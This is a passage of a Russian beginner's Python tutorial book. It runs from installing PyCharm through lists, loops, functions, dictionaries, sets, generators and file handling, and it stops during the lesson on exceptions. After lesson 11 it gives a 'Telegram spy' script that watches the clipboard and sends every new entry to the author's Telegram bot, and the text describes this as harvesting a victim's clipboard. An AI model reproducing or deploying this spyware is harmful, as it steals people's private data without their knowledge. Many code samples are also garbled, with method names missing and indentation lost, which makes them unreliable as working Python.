Оглавление

Глава 1. Точка входа

Глава 2. PyCharm: превращаем ваш компьютер в Python-станцию!

Глава 3. Python: приручаем змею мудрости!

Глава 4. PyCharm: открой Python-портал в мир программирования!

Глава 5. Точка невозврата

Урок 1. "Hello, World!", или "Здравствуй, Python-мир!"

Урок 2: "Переменные и типы данных: как подружить Python с информацией"

Урок 3: "Операторы: как заставить Python работать"

Урок 4: "Условные операторы: как научить Python думать"

Урок 5. Input()

Урок 6: "Списки: как собрать Python-конструктор"

Урок 7: "Циклы: как заставить Python повторять"

Урок 8: "Функции: как научить Python делать что-то полезное"

Урок 9 (продолжение 6-го): "Кортежи (Tuples): как создать Python-близнецов"

Урок 10: "Словари (Dictionaries): как создать Python-шпаргалку"

Дополнительно...

Урок 11: "Библиотеки: как получить суперсилу для Python"

Так, а вот теперь можно и написать нашего шпиона!

Урок 12: "Множества (Sets): как создать Python-уникальную коллекцию"

Урок 13: "Генераторы: как создать Python-фабрику по производству данных"

Дополнительно, но очень важно!

Урок 14: "Обработка исключений: как научить Python справляться с ошибками"

Урок 15: "ООП: как научить Python мыслить объектно"

Урок 16: "Наследование: как передать Python-генам по наследству"

Урок 17: "Полиморфизм: как научить Python быть многоликим"

Урок 18: "Инкапсуляция: как спрятать Python-секреты под надёжным замком"

Глава 6. Практика:

"Угадай число": игра для Python-новичков










Всем привет! Это мини-пособие по Python. (Моя первая книга - не судите строго).

I Love Python...


Глава 1. Точка входа

Python: язык программирования, который не кусается (ну, почти)

Python - это как швейцарский армейский нож в мире программирования. Он умеет всё, от создания веб-сайтов до управления космическими кораблями. И при этом он такой же дружелюбный, как котёнок, играющий с клубком ниток.


Почему Python такой популярный?

Он как английский, только для компьютеров. Вам не нужно быть гением, чтобы понять, что делает код на Python. Он читается, как хорошая книга, только вместо слов - команды.

У него есть чувство юмора. Python назван в честь комедийного шоу "Монти Пайтон", так что он уже наполовину комик. А ещё он полон забавных "пасхалок", которые вы можете обнаружить, если будете внимательно изучать его код.

Он не требует жертв. Вам не нужно продавать душу, чтобы начать программировать на Python. Он бесплатен и доступен для всех, у кого есть компьютер и немного любопытства.

Что можно сделать с помощью Python?

Создать свой собственный Instagram. Ну, или хотя бы его прототип. Python поможет вам создать веб-сайт, обрабатывать изображения и даже добавить фильтры.

Написать игру, в которой вы будете сражаться с драконами. Python - отличный выбор для создания игр, особенно если вы хотите, чтобы ваш дракон был не только страшным, но и умным.

Стать повелителем данных. Python - король анализа данных. Он поможет вам извлекать информацию из таблиц, строить графики и даже предсказывать будущее.

Python - это не только для гиков

Python - это для всех, кто хочет научиться чему-то новому, развить свои навыки и, возможно, даже изменить мир. Он прост в изучении, но при этом обладает огромным потенциалом. Так что, если вы хотите стать программистом, учёным, дизайнером или даже космонавтом, Python - ваш лучший друг.


И помните: Python - это как любовь. Сначала вы немного боитесь, потом привыкаете, а потом уже не можете без него жить.
















Глава 2. PyCharm: превращаем ваш компьютер в Python-станцию!

Итак, вы решили стать Python-гуру? Отлично! Но для начала вам понадобится место, где вы будете творить свои магические коды. И тут на сцену выходит PyCharm - ваш личный Python-дворец!


Шаг 1: Идем на охоту

Отправляйтесь на официальный сайт PyCharm (), как на поиски сокровищ. Выбирайте версию Community - она бесплатная и полна волшебства!


Шаг 2: Колдуем с установкой

Запускайте скаченный файл, как будто это заклинание. Не пугайтесь, если появится страшное окно - это всего лишь лицензионное соглашение. Соглашайтесь со всем, как будто подписываете договор с самим Python!


Шаг 3: Выбираем путь героя

PyCharm предложит вам выбрать место, где он будет жить. Можете выбрать любое место, главное, чтобы потом не забыть, где искать своего Python-джинна!


Шаг 4: Настраиваем под себя

PyCharm спросит вас, какие опции вы хотите. Можете выбрать все подряд, как будто это лотерейные билеты. Чем больше опций, тем больше шансов на успех!


Шаг 5: Ждем чудо

Нажимайте кнопку "Install" и ждите, пока PyCharm установится на ваш компьютер. Это как ждать Деда Мороза - чем дольше ждешь, тем больше волшебства потом получишь!


Шаг 6: Запускаем Python-станцию

После установки запускайте PyCharm, как будто это космический корабль. Он будет долго загружаться, как будто готовится к полету в космос. Но не пугайтесь - это нормально!


Шаг 7: Начинаем творить

Вот и все! PyCharm готов к работе. Теперь вы можете создавать свои Python-шедевры, как будто вы - сам Гарри Поттер, только с клавиатурой вместо волшебной палочки!


Поздравления!

Теперь ваш компьютер - это настоящая Python-станция! Вы готовы к покорению мира программирования. Удачи вам, юные Python-волшебники!










Глава 3. Python: приручаем змею мудрости!

Итак, вы установили PyCharm - ваш уютный Python-дворец. Но чтобы начать творить чудеса, вам нужно приручить саму змею мудрости - установить Python!


Шаг 1: Отправляемся в джунгли Python

Забудьте про Индиану Джонса, вам нужно в джунгли Python! Отправляйтесь на официальный сайт (), как на поиски Грааля. Выбирайте последнюю версию, как самый спелый фрукт!


Шаг 2: Выбираем платформу

Python - змея-путешественница, она живет на разных платформах. Выбирайте свою, как будто заказываете билет на поезд. Windows, macOS, Linux - у Python есть дом для каждого!


Шаг 3: Запускаем заклинание установки

Запускайте скаченный файл, как будто это древний свиток с заклинанием. Не пугайтесь, если появится окно с кучей непонятных слов - это всего лишь условия использования. Соглашайтесь со всем, как будто это клятва верности Python!


Шаг 4: Настраиваем Python под себя

Python предложит вам выбрать, какие компоненты установить. Можете выбрать все подряд, как будто это шведский стол. Чем больше компонентов, тем больше возможностей!


Шаг 5: Ждем превращения

Нажимайте кнопку "Install" и ждите, пока Python установится на ваш компьютер. Это как ждать превращения гусеницы в бабочку - немного терпения, и Python расправит свои крылья!


Шаг 6: Проверяем, все ли получилось

Откройте командную строку (cmd или Terminal) и введите "python --version". Если Python отзовется и покажет свою версию, значит, все получилось! Вы успешно приручили змею мудрости!


Поздравления!

Теперь ваш компьютер - это настоящий Python-сад, полный возможностей и чудес! Вы готовы к созданию своих Python-шедевров. Удачи вам, юные Python-змееловы!














Глава 4. PyCharm: открой Python-портал в мир программирования!

Теперь, когда Python приручен, пора открыть настоящий Python-портал в мир программирования - настроить PyCharm!


Шаг 1: Запускаем Python-дворец

Запускайте PyCharm, как будто это ваш личный космический корабль, готовый отправиться в Python-галактику. Он может немного подумать, как мудрый старейшина, но это нормально!


Шаг 2: Создаем новый Python-мир

PyCharm предложит вам создать новый проект. Это как выбрать место для строительства своего Python-замка. Выбирайте любое место, где вам удобно, и называйте проект как хотите, хоть "Мой Python-мир" !


Шаг 3: Подключаем Python-змею

Теперь самое главное - подключить Python-змею к вашему дворцу. PyCharm спросит вас, какой интерпретатор использовать. Выбирайте тот, который вы установили ранее, как будто это ключ от Python-портала.


Шаг 4: Настраиваем по своему вкусу

PyCharm - это как конструктор Lego, его можно настраивать под себя. Вы можете менять тему оформления, выбирать шрифты, настраивать горячие клавиши и многое другое. Экспериментируйте, как будто вы - волшебник, создающий свой идеальный мир!



Глава 5. Точка невозвратаУрок 1. "Hello, World!", или "Здравствуй, Python-мир!"

Итак, вы установили Python и PyCharm, настроили их, и теперь готовы сделать свой первый шаг в мир программирования! Сегодня мы напишем нашу первую программу на Python, которая будет приветствовать мир. Это будет просто и весело, как первый блин, который, возможно, немного комом, но зато свой!


Шаг 1: Пишем магические слова

Внутри файла напишите всего одну строчку кода:

print("Hello, World!")

Это как заклинание, которое заставляет Python говорить "Hello, World!" всему миру!


Шаг 2: Запускаем Python-волшебство

Нажмите правой кнопкой мыши на файле и выберите "Run 'hello'". PyCharm запустит ваш код, и внизу вы увидите:

Hello, World!

Это как фейерверк в честь вашего первого Python-достижения!


Поздравления!

Вы написали свою первую программу на Python! Это как первый шаг на Луну для программиста. Теперь вы можете с гордостью сказать: "Я - Python-волшебник!"


Что дальше?

А дальше - больше! В следующих уроках мы познакомимся с переменными, типами данных, операторами и другими интересными штуками. Python - это как конструктор Lego, из которого можно построить все, что угодно. Главное - не бояться экспериментировать и творить!


Домашнее задание

Попробуйте изменить текст в кавычках на что-нибудь другое, например, "Привет, Python-мир!" или "Я люблю Python!". Запустите код еще раз и посмотрите, что получится. Это как изменить цвет волшебного заклинания - вроде бы то же самое, а выглядит по-другому!

И помните: Python - это весело!





Урок 2: "Переменные и типы данных: как подружить Python с информацией"

Сегодня мы познакомимся с переменными и типами данных. Это как узнать имена всех жителей Python-города и понять, чем они занимаются.


Шаг 1: Объявляем Python-переменные

Переменные - это как контейнеры для хранения информации. Мы можем положить туда число, текст или что-нибудь еще, а потом достать, когда нужно. Объявляются переменные очень просто:

name = "Вася"

age = 25

is_student = True

Здесь мы создали три переменные: name (имя), age (возраст) и is_student (студент). Python сам понимает, какого типа информацию мы положили в переменную.


Шаг 2: Узнаем Python-типы данных

Python умеет работать с разными типами данных:


str (строка) - это текст, заключенный в кавычки. Например, "Привет, мир!"

int (целое число) - это целые числа, например, 10, 0, -5

float (число с плавающей точкой) - это дробные числа, например, 3.14, 2.71

bool (логическое значение) - это правда (True) или ложь (False)


Чтобы узнать тип переменной, можно использовать функцию type():


print(type(name)) # Выведет <class 'str'>

print(type(age)) # Выведет <class 'int'>

print(type(is_student)) # Выведет <class 'bool'>


Шаг 3: Операции с переменными

С переменными можно выполнять разные операции:

Сложение: age + 1

Вычитание: age - 5

Умножение: age * 2

Деление: age / 2

Конкатенация строк: name + "!"


Шаг 4: Выводим информацию на экран

Чтобы увидеть значение переменной, можно использовать функцию print():


print(name)

print(age)

print(is_student)

#Мы уже с ней знакомы


Домашнее задание

Создайте несколько переменных разных типов и выведите их значения на экран.

Попробуйте выполнить разные операции с переменными.

Подумайте, где можно использовать переменные в реальной жизни.




Дополнительно...

Вы наверное уже замечали вот этот символ (#) в моём коде? Тогда вот:

Комментарии - это очень полезная штука! Они помогают делать код более понятным. Ведь иногда бывает сложно разобраться, что именно делает та или иная строчка кода. А комментарии помогают нам вспомнить, что мы имели в виду, когда писали этот код.


Зачем нужны комментарии?

Объяснение кода: Комментарии позволяют объяснить, что делает тот или иной участок кода.

Напоминания: Комментарии можно использовать для того, чтобы оставить себе напоминание о том, что нужно сделать в будущем.

Отладка: Комментарии помогают временно отключить часть кода, чтобы проверить, как работает программа без нее.

Как писать комментарии?

В Python есть два вида комментариев:


Однострочные комментарии: начинаются с символа # и продолжаются до конца строки.

Многострочные комментарии: заключаются в три кавычки (''' или """).

Пример


# Это однострочный комментарий

'''

Это многострочный комментарий.

Он может занимать несколько строк.

'''

name = "Вася" # Это комментарий в конце строки

print(name)


Рекомендации

Пишите комментарии к сложному коду: Если вы пишете сложный код, обязательно оставляйте комментарии, чтобы объяснить, как он работает.

Используйте комментарии для напоминаний: Если вам нужно что-то сделать в будущем, оставьте себе напоминание в виде комментария.

Не злоупотребляйте комментариями: Не нужно писать комментарии к каждой строчке кода. Комментарии должны быть полезными и информативными.


Домашнее задание

Напишите программу, которая будет выводить на экран ваше имя и возраст. Используйте комментарии, чтобы объяснить, что делает каждая строчка кода.

Попробуйте закомментировать часть кода и посмотреть, как изменится поведение программы.

И помните: комментарии - это ваши друзья! Они помогут вам и другим людям понимать ваш код.




Урок 3: "Операторы: как заставить Python работать"

Сегодня мы познакомимся с операторами. Это как инструменты в Python-мастерской, с помощью которых мы будем создавать наши Python-шедевры.


Шаг 1: Изучаем Python-инструменты

Операторы - это специальные символы, которые выполняют определенные действия. Python умеет выполнять разные операции:


Арифметические: + (сложение), - (вычитание), * (умножение), / (деление), // (целочисленное деление), % (остаток от деления), ** (возведение в степень)

Сравнения: == (равно), != (не равно), > (больше), < (меньше), >= (больше или равно), <= (меньше или равно)

Логические: and (и), or (или), not (не)

Присваивания: = (присваивание), += (присваивание с сложением), -= (присваивание с вычитанием) и другие


Шаг 2: Пробуем Python-инструменты в деле

Давайте попробуем использовать операторы на практике:


age = 25

age += 1 # Увеличиваем возраст на 1

print(age) # Выведет 26


name = "Вася"

greeting = "Привет, " + name + "!" # Конкатенация строк

print(greeting) # Выведет "Привет, Вася!"


is_adult = age >= 18 # Проверяем, совершеннолетний ли человек

print(is_adult) # Выведет True


Шаг 3: Экспериментируем с Python-инструментами

Попробуйте разные операторы и посмотрите, что получится. Python - это как конструктор, из которого можно построить все, что угодно. Главное - не бояться экспериментировать и творить!


Домашнее задание

Напишите программу, которая будет вычислять площадь прямоугольника. Используйте операторы умножения и присваивания.

Напишите программу, которая будет проверять, является ли число четным. Используйте оператор деления по модулю.

Попробуйте придумать свои примеры использования операторов.

И помните: Python - это как волшебная палочка, с помощью которой можно создавать чудеса! Главное - научиться ею пользоваться.





Урок 4: "Условные операторы: как научить Python думать"

Сегодня мы познакомимся с условными операторами. Это как развилка на Python-дороге, где Python выбирает, куда идти дальше.


Шаг 1: Изучаем Python-развилки

Условные операторы - это специальные конструкции, которые позволяют Python выполнять разные действия в зависимости от условия.

Самые важные условные операторы:

if (если) - выполняет код, если условие истинно

else (иначе) - выполняет код, если условие ложно

elif (иначе если) - проверяет еще одно условие, если предыдущее условие ложно


Шаг 2: Пробуем Python-развилки в деле

Давайте попробуем использовать условные операторы на практике:

age = 15


if age >= 18:

print("Вы совершеннолетний!")

else:

print("Вы еще не совершеннолетний!")

В этом примере Python проверяет, больше ли возраст 18. Если да, то выводится сообщение "Вы совершеннолетний!", иначе выводится сообщение "Вы еще не совершеннолетний!".


Шаг 3: Экспериментируем с Python-развилками

Попробуйте разные условия и посмотрите, что получится. Python - это как конструктор, из которого можно построить все, что угодно. Главное - не бояться экспериментировать и творить!


Домашнее задание

Напишите программу, которая будет определять, является ли число положительным, отрицательным или нулем. Используйте условные операторы if, elif и else.

Напишите программу, которая будет сравнивать два числа и выводить, какое из них больше. Используйте условные операторы if, elif и else.

Попробуйте придумать свои примеры использования условных операторов.





Урок 5. Input()

Мы уже столько уроков прошли, а с функцией input() так и не познакомились. Это как построить дом и забыть провести в него электричество! Что ж, пора это исправить!


Сегодня мы научим Python разговаривать с нами! С помощью функции input() мы сможем задавать Python вопросы и получать ответы. Это как научить Python отзываться на наши команды!


Шаг 1: Знакомимся с функцией input()

Функция input() - это как микрофон для Python. Она позволяет нам вводить текст с клавиатуры, а Python будет его "слышать".

Вот как это работает:

name = input("Как вас зовут? ")

print("Привет, " + name + "!")

В этом примере Python спросит нас "Как вас зовут?" и будет ждать, пока мы что-нибудь не введем. Затем он "услышит" наш ответ и сохранит его в переменной name. После этого Python поприветствует нас, используя наше имя.


Шаг 2: Экспериментируем с функцией input()

Давайте попробуем разные варианты использования функции input():

age = input("Сколько вам лет? ")

age = int(age) # Преобразуем введенный текст в число

print("Вам " + str(age) + " лет.")


city = input("В каком городе вы живете? ")

print("Я тоже хотел бы побывать в городе " + city + "!")


Шаг 3: Задаем Python интересные вопросы

Попробуйте придумать свои вопросы для Python. Спрашивайте его о чем угодно: о его любимом цвете, о том, что он умеет делать, и даже о том, как он относится к людям!


Домашнее задание

Напишите программу, которая будет спрашивать у пользователя его имя, возраст и любимый цвет, а затем будет выводить на экран приветствие, используя полученные данные.

Напишите программу, которая будет спрашивать у пользователя два числа, а затем будет выводить на экран их сумму.

Попробуйте придумать свою игру с использованием функции input().

И помните: Python - это как друг, с которым можно поговорить по душам! Главное - научиться задавать правильные вопросы.




Урок 6: "Списки: как собрать Python-конструктор"

Сегодня мы познакомимся со списками. Списки - это как коробки с Python-детальками, в которых мы можем хранить много разной информации.


Шаг 1: Создаем Python-коробки

Списки создаются очень просто:

my_list = [1, "Привет", 3.14, True]

В этой коробке у нас лежат разные Python-детальки: число, строка, дробное число и логическое значение.


Шаг 2: Достаем Python-детальки

Чтобы достать Python-детальки из коробки, нужно указать их номер. Номера начинаются с 0:

print(my_list[0]) # Выведет 1

print(my_list[1]) # Выведет "Привет"

print(my_list[2]) # Выведет 3.14

print(my_list[3]) # Выведет True


Шаг 3: Кладем Python-детальки обратно

Мы можем не только доставать детальки, но и класть их обратно, а также добавлять новые:

("Новая деталька") # Добавляем новую детальку в конец списка

my_list[0] = 10 # Заменяем первую детальку на число 10

print(my_list) # Выведет [10, "Привет", 3.14, True, "Новая деталька"]


Шаг 4: Делаем с Python-коробками что хотим

Списки - это очень удобный инструмент, с помощью которого мы можем делать много разных вещей:

Сортировать: ()

Перемешивать: (my_list)

Узнавать длину: len(my_list)

И многое другое: ищите подсказки в интернете!


Домашнее задание

Создайте список с именами своих друзей.

Выведите на экран имя каждого друга, используя цикл for.

Добавьте в список еще несколько имен.

Отсортируйте список по алфавиту.

И помните: Python - это как конструктор, из которого можно построить все, что угодно! Главное - не бояться экспериментировать и творить!




Урок 7: "Циклы: как заставить Python повторять"

Сегодня мы познакомимся с циклами. Циклы - это как Python-машина времени, которая позволяет нам повторять определенные действия несколько раз.


Шаг 1: Изучаем Python-машины времени

В Python есть два основных типа циклов:

for (для) - повторяет действие определенное количество раз

while (пока) - повторяет действие, пока условие истинно


Шаг 2: Пробуем Python-машины времени в деле

Давайте попробуем использовать циклы на практике:

# Цикл for

for i in range(5):

print("Привет, мир!")


# Цикл while

count = 0

while count < 5:

print("Привет, мир!")

count += 1

Оба этих примера выводят на экран "Привет, мир!" 5 раз. Цикл for использует функцию range(), чтобы создать последовательность чисел от 0 до 4. Цикл while использует переменную count, чтобы отслеживать, сколько раз уже выполнилось действие.


Шаг 3: Экспериментируем с Python-машинами времени

Попробуйте разные варианты использования циклов и посмотрите, что получится. Python - это как конструктор, из которого можно построить все, что угодно. Главное - не бояться экспериментировать и творить!


Домашнее задание

Напишите программу, которая будет выводить на экран числа от 1 до 10, используя цикл for.

Напишите программу, которая будет выводить на экран числа от 10 до 1, используя цикл while.

Попробуйте придумать свои примеры использования циклов.




Урок 8: "Функции: как научить Python делать что-то полезное"

Сегодня мы познакомимся с функциями. Функции - это как маленькие Python-помощники, которых мы можем научить выполнять определенные задачи, а потом вызывать их, когда нужно.


Шаг 1: Создаем Python-помощников

Функции создаются очень просто:

def greet(name):

print("Привет, " + name + "!")

Здесь мы создали функцию greet, которая принимает один аргумент name и выводит на экран приветствие.


Шаг 2: Вызываем Python-помощников

Чтобы вызвать функцию, нужно написать ее имя и передать аргументы в скобках:

greet("Вася") # Выведет "Привет, Вася!"

greet("Петя") # Выведет "Привет, Петя!"


Шаг 3: Учим Python-помощников новым трюкам

Функции могут принимать несколько аргументов и возвращать значения:

def add(x, y):

return x + y


result = add(5, 3)

print(result) # Выведет 8

Здесь функция add принимает два аргумента x и y и возвращает их сумму.


Шаг 4: Используем Python-помощников в своих программах

Функции - это очень мощный инструмент, который позволяет нам делать наши программы более организованными и понятными. Мы можем создавать функции для решения разных задач, а потом вызывать их, когда нужно.


Домашнее задание

Создайте функцию, которая будет вычислять площадь прямоугольника.

Создайте функцию, которая будет проверять, является ли число четным.

Попробуйте придумать свои примеры использования функций.





Урок 9 (продолжение 6-го): "Кортежи (Tuples): как создать Python-близнецов"

Сегодня мы познакомимся с кортежами (Tuples). Кортежи - это как списки, только они более "серьезные" и не позволяют себя изменять. Это как создать Python-близнецов, которые всегда будут такими, какими вы их создали.


Шаг 1: Создаем Python-близнецов

Кортежи создаются очень просто, так же, как и списки, но вместо квадратных скобок используются круглые:

my_tuple = (1, "Привет", 3.14, True)

В этом кортеже у нас лежат разные Python-детальки: число, строка, дробное число и логическое значение.


Шаг 2: Достаем Python-детальки

Чтобы достать Python-детальки из кортежа, нужно указать их номер. Номера начинаются с 0:

print(my_tuple[0]) # Выведет 1

print(my_tuple[1]) # Выведет "Привет"

print(my_tuple[2]) # Выведет 3.14

print(my_tuple[3]) # Выведет True


Шаг 3: Пытаемся изменить Python-близнецов

А вот тут нас ждет сюрприз! Кортежи не позволяют себя изменять. Если мы попытаемся изменить элемент кортежа, Python выдаст ошибку:

my_tuple[0] = 10 # Вызовет ошибку TypeError: 'tuple' object does not support item assignment


Шаг 4: Зачем нужны Python-близнецы?

Кортежи могут показаться немного странными, ведь их нельзя изменить. Но на самом деле они очень полезны, когда нам нужно защитить данные от случайного изменения. Например, мы можем использовать кортежи для хранения координат точек на карте или для хранения настроек программы.


Домашнее задание

Создайте кортеж с именами своих любимых фильмов.

Выведите на экран название каждого фильма, используя цикл for.

Попробуйте изменить один из элементов кортежа и посмотрите, что получится.

В следующем уроке мы познакомимся со словарями (dictionaries) - еще одним типом данных, который позволяет хранить информацию в виде пар "ключ-значение".





Урок 10: "Словари (Dictionaries): как создать Python-шпаргалку"

Сегодня мы познакомимся со словарями (Dictionaries). Словари - это как Python-шпаргалка, в которой мы можем хранить информацию в виде пар "ключ-значение". Ключ - это как вопрос, а значение - это ответ на этот вопрос.


Шаг 1: Создаем Python-шпаргалку

Словари создаются очень просто:

my_dict = {"name": "Вася", "age": 25, "city": "Москва"}

В этой шпаргалке у нас есть три пары "ключ-значение": "name" - "Вася", "age" - 25, "city" - "Москва".


Шаг 2: Ищем ответы на вопросы

Чтобы найти ответ на вопрос (значение), нужно указать ключ:

print(my_dict["name"]) # Выведет "Вася"

print(my_dict["age"]) # Выведет 25

print(my_dict["city"]) # Выведет "Москва"


Шаг 3: Добавляем новые вопросы и ответы

Мы можем добавлять новые пары "ключ-значение" в словарь:

my_dict["job"] = "программист"

print(my_dict) # Выведет {"name": "Вася", "age": 25, "city": "Москва", "job": "программист"}


Шаг 4: Изменяем ответы на вопросы

Мы можем изменять значения, связанные с ключами:

my_dict["age"] = 30

print(my_dict) # Выведет {"name": "Вася", "age": 30, "city": "Москва", "job": "программист"}


Шаг 5: Используем Python-шпаргалку в своих программах

Словари - это очень удобный инструмент, который позволяет нам хранить и получать информацию быстро и легко. Мы можем использовать словари для хранения данных о пользователях, товарах, настройках программы и многом другом.


Домашнее задание

Создайте словарь, который будет хранить информацию о вашей любимой книге: название, автор, год издания.

Выведите на экран информацию о книге, используя ключи словаря.

Добавьте в словарь информацию о жанре книги.

Не сдавайтесь, осталось ещё совсем немного!



Дополнительно...

Давайте разнообразим наше путишествие! Напишем Telegram-шпиона!

Для начала нам необходимо импортировать такие библиоте... Стоп, вы же ещё не знаете что это такое. Это как суперсила для нашего змея! Ну что, будем учится использовать её?!





Урок 11: "Библиотеки: как получить суперсилу для Python"

Сегодня мы узнаем, как Python получает суперсилу с помощью библиотек! Библиотеки - это как наборы готовых Python-инструментов, которые помогают нам решать разные задачи, не изобретая велосипед каждый раз.


Шаг 1: Ищем Python-инструменты

Существует огромное количество библиотек для Python, которые делают всё, от работы с графикой до машинного обучения. Чтобы найти нужную библиотеку, можно воспользоваться поиском в интернете или сайтом PyPI (Python Package Index).


Шаг 2: Устанавливаем Python-инструменты

Чтобы установить библиотеку, нам понадобится специальный инструмент - pip (Package Installer for Python). Pip обычно устанавливается вместе с Python, поэтому, скорее всего, он у вас уже есть.


Чтобы установить библиотеку, нужно открыть командную строку (cmd или Terminal) и ввести команду:

pip install название_библиотеки

Например, чтобы установить библиотеку requests для работы с HTTP-запросами, нужно ввести команду:

pip install requests


Шаг 3: Используем Python-инструменты

После установки библиотеки мы можем использовать её функции в своих программах. Для этого нужно импортировать библиотеку с помощью команды import:

import requests


response = ("")

print(response.status_code)


В этом примере мы импортировали библиотеку requests и использовали её функцию get() для отправки HTTP-запроса к сайту Google.


Шаг 4: Изучаем Python-инструменты

Каждая библиотека имеет свою документацию, в которой описаны все её функции и возможности. Чтобы узнать больше о библиотеке, можно поискать её документацию в интернете.


Домашнее задание

Найдите в интернете библиотеку для работы с JSON и установите её.

Напишите программу, которая будет читать данные из JSON-файла с помощью установленной библиотеки.

Попробуйте найти другие интересные библиотеки и изучить их документацию.



Так, а вот теперь можно и написать нашего шпиона!

Важное предупреждение: Эта программа создана в образовательных целях. Пожалуйста, не используйте её для слежки за другими!

Шаг 1: Готовим Python-инструменты

Для начала импортируем такие библиотеки: pyperclip - для работы с буфером обмена (как будто это наш шпионский микрофон)

requests - для отправки сообщений в Telegram (как будто это наш секретный канал связи)

pyTelegramBotAPI - для удобной работы с Telegram ботом (как будто это наш шпионский штаб)

(Ну и устанавливаем их соответственно)


Шаг 2: Создаем Telegram-бота

Идем к @BotFather в Telegram и создаем нового бота (это как получить шпионское удостоверение).

Получаем токен бота - это как секретный код доступа к нашему шпионскому штабу.

(Думаяю без меня рарберётесь)


Шаг 3: Пишем код Python-шпиона

import pyperclip

import requests

import telebot


bot_token = "ВАШ_ТОКЕН_БОТА" # Замените на свой токен

chat_id = "ВАШ_ID_ЧАТА" # Замените на свой ID чата


bot = (bot_token)


old_text = "" # Переменная для хранения предыдущего текста


while True:

current_text = () # Получаем текст из буфера обмена

if current_text != old_text: # Проверяем, изменился ли текст

old_text = current_text # Обновляем предыдущий текст

try:

bot.send_message(chat_id, current_text) # Отправляем сообщение в Telegram

print("Сообщение отправлено!")

except Exception as e:

print("Ошибка отправки сообщения:", e)


Шаг 4: Запускаем Python-шпиона


Краткое описание проекта.

Этот шпион будет копировать всё, что попадает в буфер обменя жертвы, и присылать это нам в телеграмм!




Урок 12: "Множества (Sets): как создать Python-уникальную коллекцию"

Сегодня мы познакомимся с множествами (Sets). Множества - это как Python-коллекция, в которой хранятся только уникальные элементы. Это как собрать коллекцию марок, где каждая марка встречается только один раз.


Шаг 1: Создаем Python-уникальную коллекцию

Множества создаются очень просто:

my_set = {1, "Привет", 3.14, True}

В этой коллекции у нас лежат разные Python-элементы: число, строка, дробное число и логическое значение.


Шаг 2: Проверяем уникальность элементов

Множества автоматически удаляют повторяющиеся элементы:

my_set = {1, 1, "Привет", "Привет"}

print(my_set) # Выведет {1, "Привет"}

Как видите, число 1 и строка "Привет" встречаются только один раз.


Шаг 3: Добавляем и удаляем элементы

Мы можем добавлять новые элементы в множество с помощью метода add():

("Новый элемент")

print(my_set)

Мы можем удалять элементы из множества с помощью метода remove():

("Привет")

print(my_set)


Шаг 4: Операции над множествами

С множествами можно выполнять разные операции, такие как:

Объединение: my_set1 | my_set2

Пересечение: my_set1 & my_set2

Разность: my_set1 - my_set2


Домашнее задание

Создайте два множества с разными элементами.

Выполните операции объединения, пересечения и разности над этими множествами.

Попробуйте придумать свои примеры использования множеств.




Урок 13: "Генераторы: как создать Python-фабрику по производству данных"

Сегодня мы познакомимся с генераторами. Генераторы - это как Python-фабрика, которая производит данные по мере необходимости, экономя нашу память и время. Это как заказать пиццу на дом: сначала вам привезут тесто, потом начинку, потом сыр, и только потом вы сможете насладиться готовой пиццей.


Шаг 1: Создаем Python-фабрику

Генераторы создаются с помощью ключевого слова yield:

def my_generator():

yield 1

yield "Привет"

yield 3.14

Эта фабрика производит три типа данных: число, строку и дробное число.


Шаг 2: Запускаем Python-фабрику

Чтобы запустить генератор, нужно создать его объект:

my_factory = my_generator()

Теперь мы можем получать данные из фабрики с помощью функции next():

print(next(my_factory)) # Выведет 1

print(next(my_factory)) # Выведет "Привет"

print(next(my_factory)) # Выведет 3.14

Каждый раз, когда мы вызываем функцию next(), генератор производит следующее значение и "замораживает" свое состояние до следующего вызова.


Шаг 3: Используем Python-фабрику в циклах

Генераторы отлично подходят для использования в циклах for:

for item in my_generator():

print(item)

Этот код выведет на экран все значения, которые производит генератор.


Шаг 4: Преимущества Python-фабрик

Генераторы имеют несколько преимуществ:

Экономия памяти: генераторы не хранят все данные в памяти сразу, а производят их по мере необходимости. Это особенно полезно, когда мы работаем с большими объемами данных.

Ускорение работы: генераторы могут работать быстрее, чем обычные функции, особенно когда нам нужно получить только часть данных.

Упрощение кода: генераторы делают код более чистым и понятным.


Домашнее задание

Создайте генератор, который будет производить последовательность чисел Фибоначчи.

Используйте генератор для вывода на экран первых 10 чисел Фибоначчи.

Попробуйте придумать свои примеры использования генераторов.


Дополнительно, но очень важно!

Работа с файлами в Python: как приручить текст и поселить его в файле!

Шаг 1: Открываем Python-библиотеку знаний

Для работы с файлами Python не требует установки дополнительных модулей. Все необходимые инструменты уже есть в стандартной библиотеке.


Шаг 2: Учим Python читать

Чтобы Python прочитал текст из файла, нужно сначала его открыть с помощью функции open(). Ей нужно передать два аргумента: имя файла и режим открытия. Режим 'r' означает "только чтение":

f = open("", "r") # Открываем файл для чтения

content = f.read() # Читаем всё содержимое файла

f.close() # Закрываем файл

print(content) # Выводим прочитанный текст на экран


Шаг 3: Учим Python писать

Чтобы Python записал текст в файл, нужно открыть файл в режиме 'w' (запись). Внимание! При этом всё содержимое файла будет удалено. Если нужно добавить текст в конец файла, нужно использовать режим 'a' (дозапись):

f = open("", "w") # Открываем файл для записи

f.write("Привет, мир!\n") # Записываем текст в файл

f.close() # Закрываем файл


Шаг 4: Учим Python создавать файлы

Если нужно создать новый файл, можно использовать режим 'x' (создание). Если файл с таким именем уже существует, Python выдаст ошибку:

f = open("", "x") # Создаем новый файл

f.write("Это новый файл.\n") # Записываем текст в файл

f.close() # Закрываем файл


Шаг 5: Контекстный менеджер with

Чтобы не забывать закрывать файлы, можно использовать контекстный менеджер with:

with open("", "r") as f:

content = f.read()

print(content)

В этом случае файл будет автоматически закрыт после выхода из блока with.


Домашнее задание

Напишите программу, которая будет читать текст из файла и выводить его на экран построчно.

Напишите программу, которая будет записывать в файл таблицу умножения на 7.

Напишите программу, которая будет создавать несколько файлов с разными именами и записывать в них разный текст.




Урок 14: "Обработка исключений: как научить Python справляться с ошибками"

Сегодня мы познакомимся с обработкой исключений. Исключения - это как Python-сюрпризы, которые могут возникнуть во время выполнения программы. Это как получить неожиданный подарок на день рождения: иногда это приятный сюрприз, а иногда - не очень.


Шаг 1: Знакомимся с Python-сюрпризами

Исключения - это ошибки, которые возникают во время выполнения программы. Например, это может быть деление на ноль, попытка открыть несуществующий файл или ошибка ввода данных.


Шаг 2: Учим Python справляться с сюрпризами

Чтобы научить Python справляться с исключениями, мы используем конструкцию try-except:

try:

result = 10 / 0 # Деление на ноль

except ZeroDivisionError:

print("На ноль делить нельзя!")

В этом примере мы пытаемся разделить 10 на 0. Если возникает исключение ZeroDivisionError (деление на ноль), то выполняется код в блоке except.


Шаг 3: Расширяем возможности Python-спасателя

